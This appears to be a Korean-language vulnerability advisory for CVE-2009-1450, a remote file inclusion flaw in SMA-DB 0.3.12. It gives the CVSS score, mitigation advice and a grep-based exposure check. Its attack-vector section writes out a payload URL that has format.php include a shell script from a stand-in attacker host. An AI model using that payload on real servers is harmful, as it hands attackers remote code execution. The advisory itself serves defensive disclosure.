🔍 CVE-2009-1450

7.5
CVSS Score
HIGH
2009-04-28
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

SMA-DB 0.3.12의 format.php에서 _page_content 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 임의의 원격 URL을 포함시켜 원격 서버의 PHP 코드를 실행할 수 있으며, 웹 서버에 대한 완전한 제어 권한을 획득할 수 있습니다.

💡 쉬운 설명

해커가 악의적인 웹 주소를 SMA-DB에 전달하면, 그 주소의 나쁜 코드가 자동으로 실행되는 취약점입니다. 이를 통해 서버를 완전히 장악당할 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in format.php in SMA-DB 0.3.12 allows remote attackers to execute arbitrary PHP code via a URL in the _page_content parameter.

📍 영향받는 시스템

SMA-DB 0.3.12 및 이전 버전

⚔️ 공격 벡터

format.php의 _page_content 파라미터에 원격 PHP 파일 URL 주입: /format.php?_page_content=http://attacker.com/shell.php

🛡️ 대응 방법

SMA-DB를 최신 버전으로 업데이트하거나, include/require 함수에 대한 allow_url_include 설정 비활성화 및 입력값 화이트리스트 검증 적용

🔧 검증 코드

allow_url_include가 활성화된 경우 RFI 공격 가능하며, format.php 존재 확인 시 버전 확인 후 0.3.12 이하면 즉시 패치 필요

Shell / Script 
grep -r 'allow_url_include' /etc/php* 2>/dev/null | grep -E 'On|1|yes' || find / -name 'format.php' -path '*/SMA-DB/*' 2>/dev/null

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP